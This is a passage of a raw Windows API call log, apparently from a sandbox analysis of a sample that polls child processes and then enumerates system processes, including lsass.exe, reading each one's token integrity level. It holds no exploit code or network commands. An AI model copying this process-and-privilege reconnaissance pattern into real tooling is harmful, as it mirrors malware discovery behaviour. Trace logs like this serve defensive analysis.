BaseAddress=0x4aeea0) returned 1 [0259.396] NtClose (Handle=0x1c4) returned 0x0 [0259.396] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x380, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.396] ResetEvent (hEvent=0x114) returned 1 [0259.396] SetEvent (hEvent=0x110) returned 1 [0259.396] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.396] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.396] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.396] NtClose (Handle=0x1c4) returned 0x0 [0259.396] ResetEvent (hEvent=0x114) returned 1 [0259.396] SetEvent (hEvent=0x110) returned 1 [0259.397] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.397] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.397] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.397] NtClose (Handle=0x1c4) returned 0x0 [0259.397] ResetEvent (hEvent=0x114) returned 1 [0259.397] SetEvent (hEvent=0x110) returned 1 [0259.398] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.398] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.398] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.398] NtClose (Handle=0x1c4) returned 0x0 [0259.398] ResetEvent (hEvent=0x114) returned 1 [0259.398] SetEvent (hEvent=0x110) returned 1 [0259.398] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.398] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.398] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.398] NtClose (Handle=0x1c4) returned 0x0 [0259.399] ResetEvent (hEvent=0x114) returned 1 [0259.399] SetEvent (hEvent=0x110) returned 1 [0259.399] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.399] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.399] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.399] NtClose (Handle=0x1c4) returned 0x0 [0259.399] ResetEvent (hEvent=0x114) returned 1 [0259.399] SetEvent (hEvent=0x110) returned 1 [0259.400] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.400] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.400] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.400] NtClose (Handle=0x1c4) returned 0x0 [0259.400] ResetEvent (hEvent=0x114) returned 1 [0259.400] SetEvent (hEvent=0x110) returned 1 [0259.400] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.400] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.400] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.400] NtClose (Handle=0x1c4) returned 0x0 [0259.400] ResetEvent (hEvent=0x114) returned 1 [0259.400] SetEvent (hEvent=0x110) returned 1 [0259.401] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.401] ResetEvent (hEvent=0x114) returned 1 [0259.401] SetEvent (hEvent=0x110) returned 1 [0259.401] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.401] ResetEvent (hEvent=0x114) returned 1 [0259.401] SetEvent (hEvent=0x110) returned 1 [0259.402] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.402] ResetEvent (hEvent=0x114) returned 1 [0259.402] SetEvent (hEvent=0x110) returned 1 [0259.402] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.536] GetExitCodeProcess (in: hProcess=0x1c4, lpExitCode=0x15ffab4 | out: lpExitCode=0x15ffab4*=0x103) returned 1 [0259.559] GetExitCodeProcess (in: hProcess=0x1b0, lpExitCode=0x15ffab4 | out: lpExitCode=0x15ffab4*=0x103) returned 1 [0259.681] GetExitCodeProcess (in: hProcess=0x1bc, lpExitCode=0x15ffab4 | out: lpExitCode=0x15ffab4*=0x103) returned 1 [0259.778] GetExitCodeProcess (in: hProcess=0x1ac, lpExitCode=0x15ffab4 | out: lpExitCode=0x15ffab4*=0x103) returned 1 [0259.860] GetExitCodeProcess (in: hProcess=0x1b8, lpExitCode=0x15ffab4 | out: lpExitCode=0x15ffab4*=0x103) returned 1 [0259.936] GetExitCodeProcess (in: hProcess=0x1c0, lpExitCode=0x15ffab4 | out: lpExitCode=0x15ffab4*=0x103) returned 1 [0259.946] GetExitCodeProcess (in: hProcess=0x1cc, lpExitCode=0x15ffab4 | out: lpExitCode=0x15ffab4*=0x103) returned 1 [0260.010] GetExitCodeProcess (in: hProcess=0x1d0, lpExitCode=0x15ffab4 | out: lpExitCode=0x15ffab4*=0x103) returned 1 [0260.014] GetExitCodeProcess (in: hProcess=0x1a8, lpExitCode=0x15ffab4 | out: lpExitCode=0x15ffab4*=0x103) returned 1 [0260.024] GetExitCodeProcess (in: hProcess=0x1d4, lpExitCode=0x15ffab4 | out: lpExitCode=0x15ffab4*=0x103) returned 1 [0260.027] GetExitCodeProcess (in: hProcess=0x1d8, lpExitCode=0x15ffab4 | out: lpExitCode=0x15ffab4*=0x103) returned 1 [0260.028] GetExitCodeProcess (in: hProcess=0x1dc, lpExitCode=0x15ffab4 | out: lpExitCode=0x15ffab4*=0x103) returned 1 [0260.032] GetExitCodeProcess (in: hProcess=0x1e0, lpExitCode=0x15ffab4 | out: lpExitCode=0x15ffab4*=0x103) returned 1 [0260.035] GetExitCodeProcess (in: hProcess=0x1e4, lpExitCode=0x15ffab4 | out: lpExitCode=0x15ffab4*=0x103) returned 1 [0260.042] GetExitCodeProcess (in: hProcess=0x1e8, lpExitCode=0x15ffab4 | out: lpExitCode=0x15ffab4*=0x103) returned 1 [0260.054] GetExitCodeProcess (in: hProcess=0x1ec, lpExitCode=0x15ffab4 | out: lpExitCode=0x15ffab4*=0x103) returned 1 [0260.057] QueryFullProcessImageNameW (in: hProcess=0x188, dwFlags=0x0, lpExeName=0x960720, lpdwSize=0x15ffa50 | out: lpExeName="C:\\Windows\\System32\\smss.exe", lpdwSize=0x15ffa50) returned 1 [0260.057] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x960720) returned 1 [0260.057] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x15ffa24 | out: Wow64Process=0x15ffa24) returned 1 [0260.057] IsWow64Process (in: hProcess=0x188, Wow64Process=0x15ffa34 | out: Wow64Process=0x15ffa34) returned 1 [0260.058] NtQueryInformationProcess (in: ProcessHandle=0x188, ProcessInformationClass=0x18, ProcessInformation=0x15ffa30, ProcessInformationLength=0x4, ReturnLength=0x15ffa34 | out: ProcessInformation=0x15ffa30, ReturnLength=0x15ffa34) returned 0x0 [0260.058] GetProcessTimes (in: hProcess=0x188, lpCreationTime=0x15ffa50, lpExitTime=0x15ffa58, lpKernelTime=0x15ffa58, lpUserTime=0x15ffa58 | out: lpCreationTime=0x15ffa50, lpExitTime=0x15ffa58, lpKernelTime=0x15ffa58, lpUserTime=0x15ffa58) returned 1 [0260.058] OpenProcessToken (in: ProcessHandle=0x188, DesiredAccess=0x8, TokenHandle=0x15ffa24 | out: TokenHandle=0x15ffa24*=0x1f0) returned 1 [0260.058] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x15ffa20 | out: TokenInformation=0x0, ReturnLength=0x15ffa20) returned 0 [0260.058] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x1931620, TokenInformationLength=0x14, ReturnLength=0x15ffa20 | out: TokenInformation=0x1931620, ReturnLength=0x15ffa20) returned 1 [0260.058] GetSidSubAuthorityCount (pSid=0x1931628*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x1931629 [0260.058] GetSidSubAuthority (pSid=0x1931628*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x1931630 [0260.058] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1931620) returned 1 [0260.058] NtClose (Handle=0x1f0) returned 0x0 [0260.058] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x1931620 [0260.058] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x1931668 [0260.058] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x17d74a0 [0260.058] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1931668) returned 1 [0260.058] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x380) returned 0x90e570 [0260.058] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x17d74a0) returned 1 [0260.058] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x1931668 [0260.058] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x17d74a0 [0260.070] QueryFullProcessImageNameW (in: hProcess=0x1c8, dwFlags=0x0, lpExeName=0x960720, lpdwSize=0x15ffa50 | out: lpExeName="C:\\Windows\\System32\\csrss.exe", lpdwSize=0x15ffa50) returned 1 [0260.070] GetProcessTimes (in: hProcess=0x1c8, lpCreationTime=0x15ffa50, lpExitTime=0x15ffa58, lpKernelTime=0x15ffa58, lpUserTime=0x15ffa58 | out: lpCreationTime=0x15ffa50, lpExitTime=0x15ffa58, lpKernelTime=0x15ffa58, lpUserTime=0x15ffa58) returned 1 [0260.070] OpenProcessToken (in: ProcessHandle=0x1c8, DesiredAccess=0x8, TokenHandle=0x15ffa24 | out: TokenHandle=0x15ffa24*=0x1f0) returned 1 [0260.070] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x15ffa20 | out: TokenInformation=0x0, ReturnLength=0x15ffa20) returned 0 [0260.070] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x1931620 [0260.070] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x1931620, TokenInformationLength=0x14, ReturnLength=0x15ffa20 | out: TokenInformation=0x1931620, ReturnLength=0x15ffa20) returned 1 [0260.070] GetSidSubAuthorityCount (pSid=0x1931628*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x1931629 [0260.070] GetSidSubAuthority (pSid=0x1931628*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x1931630 [0260.130] QueryFullProcessImageNameW (in: hProcess=0x1c4, dwFlags=0x0, lpExeName=0x16bfa70, lpdwSize=0x15ffa50 | out: lpExeName="C:\\Windows\\System32\\wininit.exe", lpdwSize=0x15ffa50) returned 1 [0260.130] GetProcessTimes (in: hProcess=0x1c4, lpCreationTime=0x15ffa50, lpExitTime=0x15ffa58, lpKernelTime=0x15ffa58, lpUserTime=0x15ffa58 | out: lpCreationTime=0x15ffa50, lpExitTime=0x15ffa58, lpKernelTime=0x15ffa58, lpUserTime=0x15ffa58) returned 1 [0260.130] OpenProcessToken (in: ProcessHandle=0x1c4, DesiredAccess=0x8, TokenHandle=0x15ffa24 | out: TokenHandle=0x15ffa24*=0x1f0) returned 1 [0260.130] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x15ffa20 | out: TokenInformation=0x0, ReturnLength=0x15ffa20) returned 0 [0260.130] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x1931620 [0260.130] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x1931620, TokenInformationLength=0x14, ReturnLength=0x15ffa20 | out: TokenInformation=0x1931620, ReturnLength=0x15ffa20) returned 1 [0260.130] GetSidSubAuthorityCount (pSid=0x1931628*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x1931629 [0260.130] GetSidSubAuthority (pSid=0x1931628*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x1931630 [0260.143] QueryFullProcessImageNameW (in: hProcess=0x1b0, dwFlags=0x0, lpExeName=0x16bfa70, lpdwSize=0x15ffa50 | out: lpExeName="C:\\Windows\\System32\\csrss.exe", lpdwSize=0x15ffa50) returned 1 [0260.143] GetProcessTimes (in: hProcess=0x1b0, lpCreationTime=0x15ffa50, lpExitTime=0x15ffa58, lpKernelTime=0x15ffa58, lpUserTime=0x15ffa58 | out: lpCreationTime=0x15ffa50, lpExitTime=0x15ffa58, lpKernelTime=0x15ffa58, lpUserTime=0x15ffa58) returned 1 [0260.143] OpenProcessToken (in: ProcessHandle=0x1b0, DesiredAccess=0x8, TokenHandle=0x15ffa24 | out: TokenHandle=0x15ffa24*=0x1f0) returned 1 [0260.143] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x15ffa20 | out: TokenInformation=0x0, ReturnLength=0x15ffa20) returned 0 [0260.143] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x1931620 [0260.143] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x1931620, TokenInformationLength=0x14, ReturnLength=0x15ffa20 | out: TokenInformation=0x1931620, ReturnLength=0x15ffa20) returned 1 [0260.143] GetSidSubAuthorityCount (pSid=0x1931628*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x1931629 [0260.143] GetSidSubAuthority (pSid=0x1931628*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x1931630 [0260.155] QueryFullProcessImageNameW (in: hProcess=0x1bc, dwFlags=0x0, lpExeName=0x9a9880, lpdwSize=0x15ffa50 | out: lpExeName="C:\\Windows\\System32\\winlogon.exe", lpdwSize=0x15ffa50) returned 1 [0260.155] GetProcessTimes (in: hProcess=0x1bc, lpCreationTime=0x15ffa50, lpExitTime=0x15ffa58, lpKernelTime=0x15ffa58, lpUserTime=0x15ffa58 | out: lpCreationTime=0x15ffa50, lpExitTime=0x15ffa58, lpKernelTime=0x15ffa58, lpUserTime=0x15ffa58) returned 1 [0260.155] OpenProcessToken (in: ProcessHandle=0x1bc, DesiredAccess=0x8, TokenHandle=0x15ffa24 | out: TokenHandle=0x15ffa24*=0x1f0) returned 1 [0260.155] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x15ffa20 | out: TokenInformation=0x0, ReturnLength=0x15ffa20) returned 0 [0260.156] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x1931620 [0260.156] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x1931620, TokenInformationLength=0x14, ReturnLength=0x15ffa20 | out: TokenInformation=0x1931620, ReturnLength=0x15ffa20) returned 1 [0260.156] GetSidSubAuthorityCount (pSid=0x1931628*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x1931629 [0260.156] GetSidSubAuthority (pSid=0x1931628*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x1931630 [0260.172] QueryFullProcessImageNameW (in: hProcess=0x1ac, dwFlags=0x0, lpExeName=0x177c7e8, lpdwSize=0x15ffa50 | out: lpExeName="C:\\Windows\\System32\\services.exe", lpdwSize=0x15ffa50) returned 1 [0260.172] GetProcessTimes (in: hProcess=0x1ac, lpCreationTime=0x15ffa50, lpExitTime=0x15ffa58, lpKernelTime=0x15ffa58, lpUserTime=0x15ffa58 | out: lpCreationTime=0x15ffa50, lpExitTime=0x15ffa58, lpKernelTime=0x15ffa58, lpUserTime=0x15ffa58) returned 1 [0260.172] OpenProcessToken (in: ProcessHandle=0x1ac, DesiredAccess=0x8, TokenHandle=0x15ffa24 | out: TokenHandle=0x15ffa24*=0x1f0) returned 1 [0260.172] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x15ffa20 | out: TokenInformation=0x0, ReturnLength=0x15ffa20) returned 0 [0260.172] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x1931620 [0260.172] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x1931620, TokenInformationLength=0x14, ReturnLength=0x15ffa20 | out: TokenInformation=0x1931620, ReturnLength=0x15ffa20) returned 1 [0260.172] GetSidSubAuthorityCount (pSid=0x1931628*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x1931629 [0260.172] GetSidSubAuthority (pSid=0x1931628*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x1931630 [0260.218] QueryFullProcessImageNameW (in: hProcess=0x1b8, dwFlags=0x0, lpExeName=0x177c7e8, lpdwSize=0x15ffa50 | out: lpExeName="C:\\Windows\\System32\\lsass.exe", lpdwSize=0x15ffa50) returned 1 [0260.218] GetProcessTimes (in: hProcess=0x1b8, lpCreationTime=0x15ffa50, lpExitTime=0x15ffa58, lpKernelTime=0x15ffa58, lpUserTime=0x15ffa58 | out: lpCreationTime=0x15ffa50, lpExitTime=0x15ffa58, lpKernelTime=0x15ffa58, lpUserTime=0x15ffa58) returned 1 [0260.218] OpenProcessToken (in: ProcessHandle=0x1b8, DesiredAccess=0x8, TokenHandle=0x15ffa24 | out: TokenHandle=0x15ffa24*=0x1f0) returned 1 [0260.218] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x15ffa20 | out: TokenInformation=0x0, ReturnLength=0x15ffa20) returned 0 [0260.218] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x1931620 [0260.218] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x1931620, TokenInformationLength=0x14, ReturnLength=0x15ffa20 | out: TokenInformation=0x1931620, ReturnLength=0x15ffa20) returned 1 [0260.218] GetSidSubAuthorityCount (pSid=0x1931628*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x1931629 [0260.218] GetSidSubAuthority (pSid=0x1931628*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x1931630 [0260.252] QueryFullProcessImageNameW (in: hProcess=0x1c0, dwFlags=0x0, lpExeName=0x95ec18, lpdwSize=0x15ffa50 | out: lpExeName="C:\\Windows\\System32\\lsm.exe", lpdwSize=0x15ffa50) returned 1 [0260.253] GetProcessTimes (in: hProcess=0x1c0, lpCreationTime=0x15ffa50, lpExitTime=0x15ffa58, lpKernelTime=0x15ffa58, lpUserTime=0x15ffa58 | out: lpCreationTime=0x15ffa50, lpExitTime=0x15ffa58, lpKernelTime=0x15ffa58, lpUserTime=0x15ffa58) returned 1 [0260.253] OpenProcessToken (in: ProcessHandle=0x1c0, DesiredAccess=0x8, TokenHandle=0x15ffa24 | out: TokenHandle=0x15ffa24*=0x1f0) returned 1 [0260.253] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x15ffa20 | out: TokenInformation=0x0, ReturnLength=0x15ffa20) returned 0 [0260.253] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x1931620 [0260.253] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x1931620, TokenInformationLength=0x14, ReturnLength=0x15ffa20 | out: TokenInformation=0x1931620, ReturnLength=0x15ffa20) returned 1 [0260.253] GetSidSubAuthorityCount (pSid=0x1931628*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x1931629 [0260.253] GetSidSubAuthority (pSid=0x1931628*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x1931630 [0260.262] QueryFullProcessImageNameW (in: hProcess=0x1cc, dwFlags=0x0, lpExeName=0x95ec18, lpdwSize=0x15ffa50 | out: lpExeName="C:\\Windows\\explorer.exe", lpdwSize=0x15ffa50) returned 1 [0260.262] GetProcessTimes (in: hProcess=0x1cc, lpCreationTime=0x15ffa50, lpExitTime=0x15ffa58, lpKernelTime=0x15ffa58, lpUserTime=0x15ffa58 | out: lpCreationTime=0x15ffa50, lpExitTime=0x15ffa58, lpKernelTime=0x15ffa58, lpUserTime=0x15ffa58) returned 1 [0260.262] OpenProcessToken (in: ProcessHandle=0x1cc, DesiredAccess=0x8, TokenHandle=0x15ffa24 | out: TokenHandle=0x15ffa24*=0x1f0) returned 1 [0260.262] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x15ffa20 | out: TokenInformation=0x0, ReturnLength=0x15ffa20) returned 0 [0260.262] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x1931620 [0260.262] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x1931620, TokenInformationLength=0x14, ReturnLength=0x15ffa20 | out: TokenInformation=0x1931620, ReturnLength=0x15ffa20) returned 1 [0260.262] GetSidSubAuthorityCount (pSid=0x1931628*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1931629 [0260.262] GetSidSubAuthority (pSid=0x1931628*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1931630 [0260.368] QueryFullProcessImageNameW (in: hProcess=0x1d0, dwFlags=0x0, lpExeName=0x99e3f0, lpdwSize=0x15ffa50 | out: lpExeName="C:\\Windows\\System32\\dwm.exe", lpdwSize=0x15ffa50) returned 1 [0260.368] GetProcessTimes (in: hProcess=0x1d0, lpCreationTime=0x15ffa50, lpExitTime=0x15ffa58, lpKernelTime=0x15ffa58, lpUserTime=0x15ffa58 | out: lpCreationTime=0x15ffa50, lpExitTime=0x15ffa58, lpKernelTime=0x15ffa58, lpUserTime=0x15ffa58) returned 1 [0260.368] OpenProcessToken (in: ProcessHandle=0x1d0, DesiredAccess=0x8, TokenHandle=0x15ffa24 | out: TokenHandle=0x15ffa24*=0x1f0) returned 1 [0260.368] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x15ffa20 | out: TokenInformation=0x0, ReturnLength=0x15ffa20) returned 0 [0260.368] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x1931620 [0260.368] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x1931620, TokenInformationLength=0x14, ReturnLength=0x15ffa20 | out: TokenInformation=0x1931620, ReturnLength=0x15ffa20) returned 1 [0260.369] GetSidSubAuthorityCount (pSid=0x1931628*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1931629 [0260.369] GetSidSubAuthority (pSid=0x1931628*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1931630 [0260.383] QueryFullProcessImageNameW (in: hProcess=0x1a8, dwFlags=0x0, lpExeName=0x9eedf0, lpdwSize=0x15ffa50 | out: lpExeName="C:\\Windows\\System32\\taskhost.exe", lpdwSize=0x15ffa50) returned 1 [0260.384] GetProcessTimes (in: hProcess=0x1a8, lpCreationTime=0x15ffa50, lpExitTime=0x15ffa58, lpKernelTime=0x15ffa58, lpUserTime=0x15ffa58 | out: lpCreationTime=0x15ffa50, lpExitTime=0x15ffa58, lpKernelTime=0x15ffa58, lpUserTime=0x15ffa58) returned 1 [0260.384] OpenProcessToken (in: ProcessHandle=0x1a8, DesiredAccess=0x8, TokenHandle=0x15ffa24 | out: TokenHandle=0x15ffa24*=0x1f0) returned 1 [0260.384] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x15ffa20 | out: TokenInformation=0x0, ReturnLength=0x15ffa20) returned 0 [0260.384] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x1931620 [0260.384] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x1931620, TokenInformationLength=0x14, ReturnLength=0x15ffa20 | out: TokenInformation=0x1931620, ReturnLength=0x15ffa20) returned 1 [0260.384] GetSidSubAuthorityCount (pSid=0x1931628*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1931629 [0260.384] GetSidSubAuthority (pSid=0x1931628*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1931630 [0260.438] QueryFullProcessImageNameW (in: hProcess=0x1d4, dwFlags=0x0, lpExeName=0x9eedf0, lpdwSize=0x15ffa50 | out: lpExeName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\reader_sl.exe", lpdwSize=0x15ffa50) returned 1 [0260.439] GetProcessTimes (in: hProcess=0x1d4, lpCreationTime=0x15ffa50, lpExitTime=0x15ffa58, lpKernelTime=0x15ffa58, lpUserTime=0x15ffa58 | out: lpCreationTime=0x15ffa50, lpExitTime=0x15ffa58, lpKernelTime=0x15ffa58, lpUserTime=0x15ffa58) returned 1 [0260.439] OpenProcessToken (in: ProcessHandle=0x1d4, DesiredAccess=0x8, TokenHandle=0x15ffa24 | out: TokenHandle=0x15ffa24*=0x1f0) returned 1 [0260.439] GetTokenInformation (in: TokenHandle=0x1f0, 